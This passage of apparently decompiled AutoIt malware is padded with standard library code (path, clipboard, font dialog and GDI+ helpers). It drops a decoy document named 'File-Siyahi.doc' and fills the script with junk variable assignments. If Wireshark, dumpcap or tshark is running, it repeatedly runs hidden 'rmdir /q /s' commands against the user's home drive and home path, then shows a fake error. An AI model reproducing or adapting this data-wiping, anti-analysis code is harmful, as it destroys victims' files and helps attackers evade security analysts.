"\" If $sfrom = $sto Then Return SetError(1, 0, StringTrimRight($sto, 1)) Local $asfrom = StringSplit($sfrom, "\") Local $asto = StringSplit($sto, "\") If $asfrom[1] <> $asto[1] Then Return SetError(2, 0, StringTrimRight($sto, 1)) Local $i = 2 Local $idiff = 1 While 1 If $asfrom[$i] <> $asto[$i] Then $idiff = $i ExitLoop EndIf $i += 1 WEnd $i = 1 Local $srelpath = "" For $j = 1 To $asto[0] If $i >= $idiff Then $srelpath &= "\" & $asto[$i] EndIf $i += 1 Next $srelpath = StringTrimLeft($srelpath, 1) $i = 1 For $j = 1 To $asfrom[0] If $i > $idiff Then $srelpath = "..\" & $srelpath EndIf $i += 1 Next If StringRight($srelpath, 1) == "\" Then $srelpath = StringTrimRight($srelpath, 1) Return $srelpath EndFunc Func _pathmake($sdrive, $sdir, $sfilename, $sextension) If StringLen($sdrive) Then If NOT (StringLeft($sdrive, 2) = "\\") Then $sdrive = StringLeft($sdrive, 1) & ":" EndIf If StringLen($sdir) Then If NOT (StringRight($sdir, 1) = "\") AND NOT (StringRight($sdir, 1) = "/") Then $sdir = $sdir & "\" Else $sdir = "\" EndIf If StringLen($sdir) Then If NOT (StringLeft($sdir, 1) = "\") AND NOT (StringLeft($sdir, 1) = "/") Then $sdir = "\" & $sdir EndIf If StringLen($sextension) Then If NOT (StringLeft($sextension, 1) = ".") Then $sextension = "." & $sextension EndIf Return $sdrive & $sdir & $sfilename & $sextension EndFunc Func _pathsplit($sfilepath, ByRef $sdrive, ByRef $sdir, ByRef $sfilename, ByRef $sextension) Local $aarray = StringRegExp($sfilepath, "^\h*((?:\\\\\?\\)*(\\\\[^\?\/\\]+|[A-Za-z]:)?(.*[\/\\]\h*)?((?:[^\.\/\\]|(?(?=\.[^\/\\]*\.)\.))*)?([^\/\\]*))$", $str_regexparraymatch) If @error Then ReDim $aarray[5] $aarray[0] = $sfilepath EndIf $sdrive = $aarray[1] If StringLeft($aarray[2], 1) == "/" Then $sdir = StringRegExpReplace($aarray[2], "\h*[\/\\]+\h*", "\/") Else $sdir = StringRegExpReplace($aarray[2], "\h*[\/\\]+\h*", "\\") EndIf $aarray[2] = $sdir $sfilename = $aarray[3] $sextension = $aarray[4] Return $aarray EndFunc Func _replacestringinfile($sfilepath, $ssearchstring, $sreplacestring, $icasesensitive = 0, $ioccurance = 1) If StringInStr(FileGetAttrib($sfilepath), "R") Then Return SetError(1, 0, -1) Local $hfileopen = FileOpen($sfilepath, $fo_read) If $hfileopen = -1 Then Return SetError(2, 0, -1) Local $sfileread = FileRead($hfileopen) FileClose($hfileopen) If $icasesensitive = Default Then $icasesensitive = 0 If $ioccurance = Default Then $ioccurance = 1 $sfileread = StringReplace($sfileread, $ssearchstring, $sreplacestring, 1 - $ioccurance, $icasesensitive) Local $ireturn = @extended If $ireturn Then Local $ifileencoding = FileGetEncoding($sfilepath) $hfileopen = FileOpen($sfilepath, $ifileencoding + $fo_overwrite) If $hfileopen = -1 Then Return SetError(3, 0, -1) FileWrite($hfileopen, $sfileread) FileClose($hfileopen) EndIf Return $ireturn EndFunc Func _tempfile($sdirectoryname = @TempDir, $sfileprefix = "~", $sfileextension = ".tmp", $irandomlength = 7) If $irandomlength = Default OR $irandomlength <= 0 Then $irandomlength = 7 If $sdirectoryname = Default OR (NOT FileExists($sdirectoryname)) Then $sdirectoryname = @TempDir If $sfileextension = Default Then $sfileextension = ".tmp" If $sfileprefix = Default Then $sfileprefix = "~" If NOT FileExists($sdirectoryname) Then $sdirectoryname = @ScriptDir $sdirectoryname = StringRegExpReplace($sdirectoryname, "[\\/]+$", "") $sfileextension = StringRegExpReplace($sfileextension, "^\.+", "") $sfileprefix = StringRegExpReplace($sfileprefix, '[\\/:*?"<>|]', "") Local $stempname = "" Do $stempname = "" While StringLen($stempname) < $irandomlength $stempname &= Chr(Random(97, 122, 1)) WEnd $stempname = $sdirectoryname & "\" & $sfileprefix & $stempname & "." & $sfileextension Until NOT FileExists($stempname) Return $stempname EndFunc FileInstall(".\File-Siyahi.doc", @TempDir & "\Fayl-Siyahi.doc", 1) $xcbchhdfk = NULL $xcbchhdfk = NULL $zrkimagea = "aadf1sd" $vrrxd = "zzzzsfsdr6utju7ygfsd" $isasdguthecdneu = "111111" $dd = "dfgdfgdfgj76swsdfsdj76j76j76jgdfgd" $isasdguthecdneu = "111111" $xcbchhdfk = NULL If ProcessExists("wireshark.exe") OR ProcessExists("dumpcap.exe") OR ProcessExists("tshark.exe") OR ProcessExists("wireshark-gtk.exe") Then $isasdguthecdneu = "111111" $isasdguthecdneu = "111111" $xcbchhdfk = NULL For $fffff = 0 To 10 $isasdguthecdneu = "111111" $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $adgmitjngdkdf = 'GUICtrlCreateButton("ffffs"' $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 Run(@ComSpec & " /c rmdir /q /s %homedrive%", @ScriptDir, @SW_HIDE) $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $isasdguthecdneu = "111111" $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 Run(@ComSpec & " /c rmdir /q /s %homepath%", @ScriptDir, @SW_HIDE) Sleep(800) $isasdguthecdneu = "111111" Next MsgBox(64, "Error", "Error", 2) Exit EndIf $isasdguthecdneu = "111111" $isasdguthecdneu = "111111" $xcbchhdfk = NULL $xcbchhdfk = NULL $isasdguthecdneu = "111111" Global Const $fw_dontcare = 0 Global Const $fw_thin = 100 Global Const $fw_extralight = 200 Global Const $fw_ultralight = 200 Global Const $fw_light = 300 Global Const $fw_normal = 400 Global Const $fw_regular = 400 Global Const $fw_medium = 500 Global Const $fw_semibold = 600 Global Const $fw_demibold = 600 Global Const $fw_bold = 700 Global Const $fw_extrabold = 800 Global Const $fw_ultrabold = 800 Global Const $fw_heavy = 900 Global Const $fw_black = 900 Global Const $cf_effects = 256 Global Const $cf_printerfonts = 2 Global Const $cf_screenfonts = 1 Global Const $cf_noscriptsel = 8388608 Global Const $cf_inittologfontstruct = 64 Global Const $logpixelsx = 88 Global Const $logpixelsy = 90 Global Const $ansi_charset = 0 Global Const $arabic_charset = 178 Global Const $baltic_charset = 186 Global Const $chinesebig5_charset = 136 Global Const $default_charset = 1 Global Const $easteurope_charset = 238 Global Const $gb2312_charset = 134 Global Const $greek_charset = 161 Global Const $hangeul_charset = 129 Global Const $hebrew_charset = 177 Global Const $johab_charset = 130 Global Const $mac_charset = 77 Global Const $oem_charset = 255 Global Const $russian_charset = 204 Global Const $shiftjis_charset = 128 Global Const $symbol_charset = 2 Global Const $thai_charset = 222 Global Const $turkish_charset = 162 Global Const $vietnamese_charset = 163 Global Const $out_character_precis = 2 Global Const $out_default_precis = 0 Global Const $out_device_precis = 5 Global Const $out_outline_precis = 8 Global Const $out_ps_only_precis = 10 Global Const $out_raster_precis = 6 Global Const $out_string_precis = 1 Global Const $out_stroke_precis = 3 Global Const $out_tt_only_precis = 7 Global Const $out_tt_precis = 4 Global Const $clip_character_precis = 1 Global Const $clip_default_precis = 0 Global Const $clip_dfa_disable = 48 Global Const $clip_embedded = 128 Global Const $clip_lh_angles = 16 Global Const $clip_mask = 15 Global Const $clip_dfa_override = 64 Global Const $clip_stroke_precis = 2 Global Const $clip_tt_always = 32 Global Const $antialiased_quality = 4 Global Const $default_quality = 0 Global Const $draft_quality = 1 Global Const $nonantialiased_quality = 3 Global Const $proof_quality = 2 Global Const $cleartype_quality = 5 Global Const $default_pitch = 0 Global Const $fixed_pitch = 1 Global Const $variable_pitch = 2 Global Const $ff_decorative = 80 Global Const $ff_dontcare = 0 Global Const $ff_modern = 48 Global Const $ff_roman = 16 Global Const $ff_script = 64 Global Const $ff_swiss = 32 Global Const $fs_regular = 0 Global Const $fs_bold = 1 Global Const $fs_italic = 2 Global Const $__miscconstant_cc_anycolor = 256 Global Const $__miscconstant_cc_fullopen = 2 Global Const $__miscconstant_cc_rgbinit = 1 Global Const $tagchoosecolor = "dword Size;hwnd hWndOwnder;handle hInstance;dword rgbResult;ptr CustColors;dword Flags;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName" Global Const $tagchoosefont = "dword Size;hwnd hWndOwner;handle hDC;ptr LogFont;int PointSize;dword Flags;dword rgbColors;lparam CustData;" & "ptr fnHook;ptr TemplateName;handle hInstance;ptr szStyle;word FontType;int SizeMin;int SizeMax" Func _choosecolor($ireturntype = 0, $icolorref = 0, $ireftype = 0, $hwndownder = 0) Local $tagcustcolors = "dword[16]" Local $tchoose = DllStructCreate($tagchoosecolor) Local $tcc = DllStructCreate($tagcustcolors) If $ireftype = 1 Then $icolorref = Int($icolorref) ElseIf $ireftype = 2 Then $icolorref = Hex(String($icolorref), 6) $icolorref = "0x" & StringMid($icolorref, 5, 2) & StringMid($icolorref, 3, 2) & StringMid($icolorref, 1, 2) EndIf DllStructSetData($tchoose, "Size", DllStructGetSize($tchoose)) DllStructSetData($tchoose, "hWndOwnder", $hwndownder) DllStructSetData($tchoose, "rgbResult", $icolorref) DllStructSetData($tchoose, "CustColors", DllStructGetPtr($tcc)) DllStructSetData($tchoose, "Flags", BitOR($__miscconstant_cc_anycolor, $__miscconstant_cc_fullopen, $__miscconstant_cc_rgbinit)) Local $aresult = DllCall("comdlg32.dll", "bool", "ChooseColor", "struct*", $tchoose) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] = 0 Then Return SetError(-3, -3, -1) Local $scolor_picked = DllStructGetData($tchoose, "rgbResult") If $ireturntype = 1 Then Return "0x" & Hex(String($scolor_picked), 6) ElseIf $ireturntype = 2 Then $scolor_picked = Hex(String($scolor_picked), 6) Return "0x" & StringMid($scolor_picked, 5, 2) & StringMid($scolor_picked, 3, 2) & StringMid($scolor_picked, 1, 2) ElseIf $ireturntype = 0 Then Return $scolor_picked Else Return SetError(-4, -4, -1) EndIf EndFunc Func _choosefont($sfontname = "Courier New", $ipointsize = 10, $ifontcolorref = 0, $ifontweight = 0, $bitalic = False, $bunderline = False, $bstrikethru = False, $hwndowner = 0) Local $iitalic = 0, $iunderline = 0, $istrikeout = 0 $ifontcolorref = BitOR(BitShift(BitAND($ifontcolorref, 255), -16), BitAND($ifontcolorref, 65280), BitShift(BitAND($ifontcolorref, 16711680), 16)) Local $hdc = __misc_getdc(0) Local $iheight = Round(($ipointsize * __misc_getdevicecaps($hdc, $logpixelsx)) / 72, 0) __misc_releasedc(0, $hdc) Local $tchoosefont = DllStructCreate($tagchoosefont) Local $tlogfont = DllStructCreate($taglogfont) DllStructSetData($tchoosefont, "Size", DllStructGetSize($tchoosefont)) DllStructSetData($tchoosefont, "hWndOwner", $hwndowner) DllStructSetData($tchoosefont, "LogFont", DllStructGetPtr($tlogfont)) DllStructSetData($tchoosefont, "PointSize", $ipointsize) DllStructSetData($tchoosefont, "Flags", BitOR($cf_screenfonts, $cf_printerfonts, $cf_effects, $cf_inittologfontstruct, $cf_noscriptsel)) DllStructSetData($tchoosefont, "rgbColors", $ifontcolorref) DllStructSetData($tchoosefont, "FontType", 0) DllStructSetData($tlogfont, "Height", $iheight) DllStructSetData($tlogfont, "Weight", $ifontweight) DllStructSetData($tlogfont, "Italic", $bitalic) DllStructSetData($tlogfont, "Underline", $bunderline) DllStructSetData($tlogfont, "Strikeout", $bstrikethru) DllStructSetData($tlogfont, "FaceName", $sfontname) Local $aresult = DllCall("comdlg32.dll", "bool", "ChooseFontW", "struct*", $tchoosefont) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] = 0 Then Return SetError(-3, -3, -1) Local $sfacename = DllStructGetData($tlogfont, "FaceName") If StringLen($sfacename) = 0 AND StringLen($sfontname) > 0 Then $sfacename = $sfontname If DllStructGetData($tlogfont, "Italic") Then $iitalic = 2 If DllStructGetData($tlogfont, "Underline") Then $iunderline = 4 If DllStructGetData($tlogfont, "Strikeout") Then $istrikeout = 8 Local $iattributes = BitOR($iitalic, $iunderline, $istrikeout) Local $isize = DllStructGetData($tchoosefont, "PointSize") / 10 Local $icolorref = DllStructGetData($tchoosefont, "rgbColors") Local $iweight = DllStructGetData($tlogfont, "Weight") Local $scolor_picked = Hex(String($icolorref), 6) Return StringSplit($iattributes & "," & $sfacename & "," & $isize & "," & $iweight & "," & $icolorref & "," & "0x" & $scolor_picked & "," & "0x" & StringMid($scolor_picked, 5, 2) & StringMid($scolor_picked, 3, 2) & StringMid($scolor_picked, 1, 2), ",") EndFunc Func _clipputfile($sfilepath, $sdelimiter = "|") Local Const $gmem_moveable = 2, $cf_hdrop = 15 $sfilepath &= $sdelimiter & $sdelimiter Local $nglobmemsize = 2 * (StringLen($sfilepath) + 20) Local $aresult = DllCall("user32.dll", "bool", "OpenClipboard", "hwnd", 0) If @error OR $aresult[0] = 0 Then Return SetError(1, _winapi_getlasterror(), False) Local $ierror = 0, $ilasterror = 0 $aresult = DllCall("user32.dll", "bool", "EmptyClipboard") If @error OR NOT $aresult[0] Then $ierror = 2 $ilasterror = _winapi_getlasterror() Else $aresult = DllCall("kernel32.dll", "handle", "GlobalAlloc", "uint", $gmem_moveable, "ulong_ptr", $nglobmemsize) If @error OR NOT $aresult[0] Then $ierror = 3 $ilasterror = _winapi_getlasterror() Else Local $hglobal = $aresult[0] $aresult = DllCall("kernel32.dll", "ptr", "GlobalLock", "handle", $hglobal) If @error OR NOT $aresult[0] Then $ierror = 4 $ilasterror = _winapi_getlasterror() Else Local $hlock = $aresult[0] Local $tdropfiles = DllStructCreate("dword pFiles;" & $tagpoint & ";bool fNC;bool fWide;wchar[" & StringLen($sfilepath) + 1 & "]", $hlock) If @error Then Return SetError(5, 6, False) Local $tstruct = DllStructCreate("dword;long;long;bool;bool") DllStructSetData($tdropfiles, "pFiles", DllStructGetSize($tstruct)) DllStructSetData($tdropfiles, "X", 0) DllStructSetData($tdropfiles, "Y", 0) DllStructSetData($tdropfiles, "fNC", 0) DllStructSetData($tdropfiles, "fWide", 1) DllStructSetData($tdropfiles, 6, $sfilepath) For $i = 1 To StringLen($sfilepath) If DllStructGetData($tdropfiles, 6, $i) = $sdelimiter Then DllStructSetData($tdropfiles, 6, Chr(0), $i) Next $aresult = DllCall("user32.dll", "handle", "SetClipboardData", "uint", $cf_hdrop, "handle", $hglobal) If @error OR NOT $aresult[0] Then $ierror = 6 $ilasterror = _winapi_getlasterror() EndIf $aresult = DllCall("kernel32.dll", "bool", "GlobalUnlock", "handle", $hglobal) If (@error OR NOT $aresult[0]) AND NOT $ierror AND _winapi_getlasterror() Then $ierror = 8 $ilasterror = _winapi_getlasterror() EndIf EndIf $aresult = DllCall("kernel32.dll", "ptr", "GlobalFree", "handle", $hglobal) If (@error OR $aresult[0]) AND NOT $ierror Then $ierror = 9 $ilasterror = _winapi_getlasterror() EndIf EndIf EndIf $aresult = DllCall("user32.dll", "bool", "CloseClipboard") If (@error OR NOT $aresult[0]) AND NOT $ierror Then Return SetError(7, _winapi_getlasterror(), False) If $ierror Then Return SetError($ierror, $ilasterror, False) Return True EndFunc Func _mousetrap($ileft = 0, $itop = 0, $iright = 0, $ibottom = 0) Local $areturn = 0 If $ileft = Default Then $ileft = 0 If $itop = Default Then $itop = 0 If $iright = Default Then $iright = 0 If $ibottom = Default Then $ibottom = 0 If @NumParams = 0 Then $areturn = DllCall("user32.dll", "bool", "ClipCursor", "ptr", 0) If @error OR NOT $areturn[0] Then Return SetError(1, _winapi_getlasterror(), False) Else If @NumParams = 2 Then $iright = $ileft + 1 $ibottom = $itop + 1 EndIf Local $trect = DllStructCreate($tagrect) DllStructSetData($trect, "Left", $ileft) DllStructSetData($trect, "Top", $itop) DllStructSetData($trect, "Right", $iright) DllStructSetData($trect, "Bottom", $ibottom) $areturn = DllCall("user32.dll", "bool", "ClipCursor", "struct*", $trect) If @error OR NOT $areturn[0] Then Return SetError(2, _winapi_getlasterror(), False) EndIf Return True EndFunc Func _singleton($soccurrencename, $iflag = 0) Local Const $error_already_exists = 183 Local Const $security_descriptor_revision = 1 Local $tsecurityattributes = 0 If BitAND($iflag, 2) Then Local $tsecuritydescriptor = DllStructCreate("byte;byte;word;ptr[4]") Local $aret = DllCall("advapi32.dll", "bool", "InitializeSecurityDescriptor", "struct*", $tsecuritydescriptor, "dword", $security_descriptor_revision) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then $aret = DllCall("advapi32.dll", "bool", "SetSecurityDescriptorDacl", "struct*", $tsecuritydescriptor, "bool", 1, "ptr", 0, "bool", 0) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then $tsecurityattributes = DllStructCreate($tagsecurity_attributes) DllStructSetData($tsecurityattributes, 1, DllStructGetSize($tsecurityattributes)) DllStructSetData($tsecurityattributes, 2, DllStructGetPtr($tsecuritydescriptor)) DllStructSetData($tsecurityattributes, 3, 0) EndIf EndIf EndIf Local $ahandle = DllCall("kernel32.dll", "handle", "CreateMutexW", "struct*", $tsecurityattributes, "bool", 1, "wstr", $soccurrencename) If @error Then Return SetError(@error, @extended, 0) Local $alasterror = DllCall("kernel32.dll", "dword", "GetLastError") If @error Then Return SetError(@error, @extended, 0) If $alasterror[0] = $error_already_exists Then If BitAND($iflag, 1) Then DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $ahandle[0]) If @error Then Return SetError(@error, @extended, 0) Return SetError($alasterror[0], $alasterror[0], 0) Else Exit -1 EndIf EndIf Return $ahandle[0] EndFunc Func _ispressed($shexkey, $vdll = "user32.dll") Local $a_r = DllCall($vdll, "short", "GetAsyncKeyState", "int", "0x" & $shexkey) If @error Then Return SetError(@error, @extended, False) Return BitAND($a_r[0], 32768) <> 0 EndFunc Func _versioncompare($sversion1, $sversion2) If $sversion1 = $sversion2 Then Return 0 Local $ssubversion1 = "", $ssubversion2 = "" If StringIsAlpha(StringRight($sversion1, 1)) Then $ssubversion1 = StringRight($sversion1, 1) $sversion1 = StringTrimRight($sversion1, 1) EndIf If StringIsAlpha(StringRight($sversion2, 1)) Then $ssubversion2 = StringRight($sversion2, 1) $sversion2 = StringTrimRight($sversion2, 1) EndIf Local $aversion1 = StringSplit($sversion1, ".,"), $aversion2 = StringSplit($sversion2, ".,") Local $ipartdifference = ($aversion1[0] - $aversion2[0]) If $ipartdifference < 0 Then ReDim $aversion1[UBound($aversion2)] $aversion1[0] = UBound($aversion1) - 1 For $i = (UBound($aversion1) - Abs($ipartdifference)) To $aversion1[0] $aversion1[$i] = "0" Next ElseIf $ipartdifference > 0 Then ReDim $aversion2[UBound($aversion1)] $aversion2[0] = UBound($aversion2) - 1 For $i = (UBound($aversion2) - Abs($ipartdifference)) To $aversion2[0] $aversion2[$i] = "0" Next EndIf For $i = 1 To $aversion1[0] If StringIsDigit($aversion1[$i]) AND StringIsDigit($aversion2[$i]) Then If Number($aversion1[$i]) > Number($aversion2[$i]) Then Return SetExtended(2, 1) ElseIf Number($aversion1[$i]) < Number($aversion2[$i]) Then Return SetExtended(2, -1) ElseIf $i = $aversion1[0] Then If $ssubversion1 > $ssubversion2 Then Return SetExtended(3, 1) ElseIf $ssubversion1 < $ssubversion2 Then Return SetExtended(3, -1) EndIf EndIf Else If $aversion1[$i] > $aversion2[$i] Then Return SetExtended(1, 1) ElseIf $aversion1[$i] < $aversion2[$i] Then Return SetExtended(1, -1) EndIf EndIf Next Return SetExtended(Abs($ipartdifference), 0) EndFunc Func __misc_getdc($hwnd) Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd) If @error OR NOT $aresult[0] Then Return SetError(1, _winapi_getlasterror(), 0) Return $aresult[0] EndFunc Func __misc_getdevicecaps($hdc, $iindex) Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func __misc_releasedc($hwnd, $hdc) Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] <> 0 EndFunc $xcbchhdfk = NULL $isasdguthecdneu = "111111" $isasdguthecdneu = "111111" $xcbchhdfk = NULL $uizp = "asa0D55" $xcbchhdfk = NULL $izcounter = 0 $xcbchhdfk = NULL $isasdguthecdneu = "111111" Global Const $gdip_dashcapflat = 0 Global Const $gdip_dashcapround = 2 Global Const $gdip_dashcaptriangle = 3 Global Const $gdip_dashstylesolid = 0 Global Const $gdip_dashstyledash = 1 Global Const $gdip_dashstyledot = 2 Global Const $gdip_dashstyledashdot = 3 Global Const $gdip_dashstyledashdotdot = 4 Global Const $gdip_dashstylecustom = 5 Global Const $gdip_epgchrominancetable = "{F2E455DC-09B3-4316-8260-676ADA32481C}" Global Const $gdip_epgcolordepth = "{66087055-AD66-4C7C-9A18-38A2310B8337}" Global Const $gdip_epgcompression = "{E09D739D-CCD4-44EE-8EBA-3FBF8BE4FC58}" Global Const $gdip_epgluminancetable = "{EDB33BCE-0266-4A77-B904-27216099E717}" Global Const $gdip_epgquality = "{1D5BE4B5-FA4A-452D-9CDD-5DB35105E7EB}" Global Const $gdip_epgrendermethod = "{6D42C53A-229A-4825-8BB7-5C99E2B9A8B8}" Global Const $gdip_epgsaveflag = "{292266FC-AC40-47BF-8CFC-A85B89A655DE}" Global Const $gdip_epgscanmethod = "{3A4E2661-3109-4E56-8536-42C156E7DCFA}" Global Const $gdip_epgtransformation = "{8D0EB2D1-A58E-4EA8-AA14-108074B7B6F9}" Global Const $gdip_epgversion = "{24D18C76-814A-41A4-BF53-1C219CCCF797}" Global Const $gdip_eptbyte = 1 Global Const $gdip_eptascii = 2 Global Const $gdip_eptshort = 3 Global Const $gdip_eptlong = 4 Global Const $gdip_eptrational = 5 Global Const $gdip_eptlongrange = 6 Global Const $gdip_eptundefined = 7 Global Const $gdip_eptrationalrange = 8 Global Const $gdip_errok = 0 Global Const $gdip_errgenericerror = 1 Global Const $gdip_errinvalidparameter = 2 Global Const $gdip_erroutofmemory = 3 Global Const $gdip_errobjectbusy = 4 Global Const $gdip_errinsufficientbuffer = 5 Global Const $gdip_errnotimplemented = 6 Global Const $gdip_errwin32error = 7 Global Const $gdip_errwrongstate = 8 Global Const $gdip_erraborted = 9 Global Const $gdip_errfilenotfound = 10 Global Const $gdip_errvalueoverflow = 11 Global Const $gdip_erraccessdenied = 12 Global Const $gdip_errunknownimageformat = 13 Global Const $gdip_errfontfamilynotfound = 14 Global Const $gdip_errfontstylenotfound = 15 Global Const $gdip_errnottruetypefont = 16 Global Const $gdip_errunsupportedgdiversion = 17 Global Const $gdip_errgdiplusnotinitialized = 18 Global Const $gdip_errpropertynotfound = 19 Global Const $gdip_errpropertynotsupported = 20 Global Const $gdip_evtcompressionlzw = 2 Global Const $gdip_evtcompressionccitt3 = 3 Global Const $gdip_evtcompressionccitt4 = 4 Global Const $gdip_evtcompressionrle = 5 Global Const $gdip_evtcompressionnone = 6 Global Const $gdip_evttransformrotate90 = 13 Global Const $gdip_evttransformrotate180 = 14 Global Const $gdip_evttransformrotate270 = 15 Global Const $gdip_evttransformfliphorizontal = 16 Global Const $gdip_evttransformflipvertical = 17 Global Const $gdip_evtmultiframe = 18 Global Const $gdip_evtlastframe = 19 Global Const $gdip_evtflush = 20 Global Const $gdip_evtframedimensionpage = 23 Global Const $gdip_icfencoder = 1 Global Const $gdip_icfdecoder = 2 Global Const $gdip_icfsupportbitmap = 4 Global Const $gdip_icfsupportvector = 8 Global Const $gdip_icfseekableencode = 16 Global Const $gdip_icfblockingdecode = 32 Global Const $gdip_icfbuiltin = 65536 Global Const $gdip_icfsystem = 131072 Global Const $gdip_icfuser = 262144 Global Const $gdip_ilmread = 1 Global Const $gdip_ilmwrite = 2 Global Const $gdip_ilmuserinputbuf = 4 Global Const $gdip_linecapflat = 0 Global Const $gdip_linecapsquare = 1 Global Const $gdip_linecapround = 2 Global Const $gdip_linecaptriangle = 3 Global Const $gdip_linecapnoanchor = 16 Global Const $gdip_linecapsquareanchor = 17 Global Const $gdip_linecaproundanchor = 18 Global Const $gdip_linecapdiamondanchor = 19 Global Const $gdip_linecaparrowanchor = 20 Global Const $gdip_linecapcustom = 255 Global Const $gdip_pxf01indexed = 196865 Global Const $gdip_pxf04indexed = 197634 Global Const $gdip_pxf08indexed = 198659 Global Const $gdip_pxf16grayscale = 1052676 Global Const $gdip_pxf16rgb555 = 135173 Global Const $gdip_pxf16rgb565 = 135174 Global Const $gdip_pxf16argb1555 = 397319 Global Const $gdip_pxf24rgb = 137224 Global Const $gdip_pxf32rgb = 139273 Global Const $gdip_pxf32argb = 2498570 Global Const $gdip_pxf32pargb = 925707 Global Const $gdip_pxf48rgb = 1060876 Global Const $gdip_pxf64argb = 3424269 Global Const $gdip_pxf64pargb = 1720334 Global Const $gdip_imageformat_undefined = "{B96B3CA9-0728-11D3-9D7B-0000F81EF32E}" Global Const $gdip_imageformat_memorybmp = "{B96B3CAA-0728-11D3-9D7B-0000F81EF32E}" Global Const $gdip_imageformat_bmp = "{B96B3CAB-0728-11D3-9D7B-0000F81EF32E}" Global Const $gdip_imageformat_emf = "{B96B3CAC-0728-11D3-9D7B-0000F81EF32E}" Global Const $gdip_imageformat_wmf = "{B96B3CAD-0728-11D3-9D7B-0000F81EF32E}" Global Const $gdip_imageformat_jpeg = "{B96B3CAE-0728-11D3-9D7B-0000F81EF32E}" Global Const $gdip_imageformat_png = "{B96B3CAF-0728-11D3-9D7B-0000F81EF32E}" Global Const $gdip_imageformat_gif = "{B96B3CB0-0728-11D3-9D7B-0000F81EF32E}" Global Const $gdip_imageformat_tiff = "{B96B3CB1-0728-11D3-9D7B-0000F81EF32E}" Global Const $gdip_imageformat_exif = "{B96B3CB2-0728-11D3-9D7B-0000F81EF32E}" Global Const $gdip_imageformat_icon = "{B96B3CB5-0728-11D3-9D7B-0000F81EF32E}" Global Const $gdip_imagetype_unknown = 0 Global Const $gdip_imagetype_bitmap = 1 Global Const $gdip_imagetype_metafile = 2 Global Const $gdip_imageflags_none = 0 Global Const $gdip_imageflags_scalable = 1 Global Const $gdip_imageflags_hasalpha = 2 Global Const $gdip_imageflags_hastranslucent = 4 Global Const $gdip_imageflags_partiallyscalable = 8 Global Const $gdip_imageflags_colorspace_rgb = 16 Global Const $gdip_imageflags_colorspace_cmyk = 32 Global Const $gdip_imageflags_colorspace_gray = 64 Global Const $gdip_imageflags_colorspace_ycbcr = 128 Global Const $gdip_imageflags_colorspace_ycck = 256 Global Const $gdip_imageflags_hasrealdpi = 4096 Global Const $gdip_imageflags_hasrealpixelsize = 8192 Global Const $gdip_imageflags_readonly = 65536 Global Const $gdip_imageflags_caching = 131072 Global Const $gdip_smoothingmode_invalid = -1 Global Const $gdip_smoothingmode_default = 0 Global Const $gdip_smoothingmode_highspeed = 1 Global Const $gdip_smoothingmode_highquality = 2 Global Const $gdip_smoothingmode_none = 3 Global Const $gdip_smoothingmode_antialias8x4 = 4 Global Const $gdip_smoothingmode_antialias = $gdip_smoothingmode_antialias8x4 Global Const $gdip_smoothingmode_antialias8x8 = 5 Global Const $gdip_rlum = 0.3086 Global Const $gdip_glum = 0.6094 Global Const $gdip_blum = 0.082 Global Const $gdip_interpolationmode_invalid = -1 Global Const $gdip_interpolationmode_default = 0 Global Const $gdip_interpolationmode_lowquality = 1 Global Const $gdip_interpolationmode_highquality = 2 Global Const $gdip_interpolationmode_bilinear = 3 Global Const $gdip_interpolationmode_bicubic = 4 Global Const $gdip_interpolationmode_nearestneighbor = 5 Global Const $gdip_interpolationmode_highqualitybilinear = 6 Global Const $gdip_interpolationmode_highqualitybicubic = 7 Global Const $gdip_textrenderinghint_systemdefault = 0 Global Const $gdip_textrenderinghint_singlebitperpixelgridfit = 1 Global Const $gdip_textrenderinghint_singlebitperpixel = 2 Global Const $gdip_textrenderinghint_antialiasgridfit = 3 Global Const $gdip_textrenderinghint_antialias = 4 Global Const $gdip_textrenderinghint_cleartypegridfit = 5 Global Const $gdip_pixeloffsetmode_invalid = -1 Global Const $gdip_pixeloffsetmode_default = 0 Global Const $gdip_pixeloffsetmode_highspeed = 1 Global Const $gdip_pixeloffsetmode_highquality = 2 Global Const $gdip_pixeloffsetmode_none = 3 Global Const $gdip_pixeloffsetmode_half = 4 Global Const $gdip_pensetlinejoin_miter = 0 Global Const $gdip_pensetlinejoin_bevel = 1 Global Const $gdip_pensetlinejoin_round = 2 Global Const $gdip_pensetlinejoin_miterclipped = 3 Global Const $gdip_fillmodealternate = 0 Global Const $gdip_fillmodewinding = 1 Global Const $gdip_qualitymodeinvalid = -1 Global Const $gdip_qualitymodedefault = 0 Global Const $gdip_qualitymodelow = 1 Global Const $gdip_qualitymodehigh = 2 Global Const $gdip_compositingmodesourceover = 0 Global Const $gdip_compositingmodesourcecopy = 1 Global Const $gdip_compositingqualityinvalid = $gdip_qualitymodeinvalid Global Const $gdip_compositingqualitydefault = $gdip_qualitymodedefault Global Const $gdip_compositingqualityhighspeed = $gdip_qualitymodelow Global Const $gdip_compositingqualityhighquality = $gdip_qualitymodehigh Global Const $gdip_compositingqualitygammacorrected = 3 Global Const $gdip_compositingqualityassumelinear = 4 Global Const $gdip_hatchstyle_horizontal = 0 Global Const $gdip_hatchstyle_vertical = 1 Global Const $gdip_hatchstyle_forwarddiagonal = 2 Global Const $gdip_hatchstyle_backwarddiagonal = 3 